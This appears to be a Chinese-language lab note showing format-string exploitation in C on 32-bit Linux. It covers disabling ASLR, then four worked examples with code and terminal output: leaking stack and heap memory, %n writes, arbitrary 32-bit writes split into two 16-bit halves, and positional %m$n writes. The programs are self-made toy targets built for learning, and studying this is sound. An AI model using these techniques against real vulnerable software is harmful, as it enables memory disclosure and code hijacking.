LE模式,在实验之前使用“sysctl -w kernel.randomize_va_space=0”关闭ASLR。
另一种关闭ASLR方法:setarch `uname -m` -R /bin/bash
(一):
利用format string读memory内容
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void dump(void){
char s[] = "\x08\xb0\x04\x08\n%08x\n%08x\n%08x\n%08x\n%08x\n%s\n\n\n";//mark为红色的部分为s的地址LE模式转换,string尾部的"\n"用来对齐地址
printf(s);
return;
}
int main()
{
char* s = NULL;
s = (char*)malloc(64);
printf("the address is %p\n", s);
strcpy(s, "Hello World!\n");
dump();
return 0;
}
root@ubuntu:/tmp# ./a.out
the address is 0x804b008
°
bffff6f4
00000040
b7e9af57
00000040
b7e275e8
Hello World!
root@ubuntu:/tmp#
(二)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
int a = 0;
char s[] = "\xf0\xf6\xff\xbf\n%x\n%x\n%x\n%x\n%n\n\n\n\n";//format string末尾的"\n"用于padding,使地址对齐
printf("&a = %p\n", &a);
printf(s);
printf("\n");
printf("%d\n", a);
return 0;
}
root@ubuntu:/tmp# ./a.out
&a = 0xbffff6f0
ðöÿ¿
bffff6f0
8049ff4
8048531
0
32
(三)向任意内存写任意数值
本例采用方法,将32bit分成两组16bits,先写低两位,后写高两位。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int b = 1;
int main()
{
int a = 0;
char fmt[] = "\x18\xa0\x04\x08\n\n\n\nAAAA\x1a\xa0\x04\x08\nAAA\n%08x\n%08x\n%08x\n%08x\n%08x\n%33x\n%n\n\n\n%08x\n%08x\n%n\n\n\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n";
printf("%p\n", &b);
printf(fmt);
printf("\n\n\n%x\n\n", b);
return 0;
}
root@ubuntu:/tmp# ./a.out
0x804a018
AAAA
AAA
0804a018
00000000
b7fc5ff4
bffff6ce
bffff6cf
0
0a0a0a0a
41414141
4141410a
3830250a
30250a78
250a7838
0a783830
78383025
3830250a
33250a78
790064
root@ubuntu:/tmp#
(四)%m$n在format string中应用,$m$n计算偏移,用已经输出的char的个数赋值。
0xbffff6cc用是局部变量a的地址,通过%6$n偏移找到a变量在栈中的位置,将3+16+1赋值给该地址中的变量,也就是将20赋值给a
root@ubuntu:/tmp# cat m.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
int a = 0xbffff6cc;
char fmt[] = "AAA%16x\n%7$n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n";
// printf("%2$1234x%1$n", &a);
printf("%p\n", &a);
printf(fmt);
printf("\na = %d\n", a);
// printf("%p\n", &a);
return 0;
}
root@ubuntu:/tmp# ./a.out
0xbffff6cc
AAA bffff6cc
00ca0000
00000001
bffff8da
0000002f
bffff71c
bffff6cc
41418520
36312541
37250a78
a = 20
root@ubuntu:/tmp#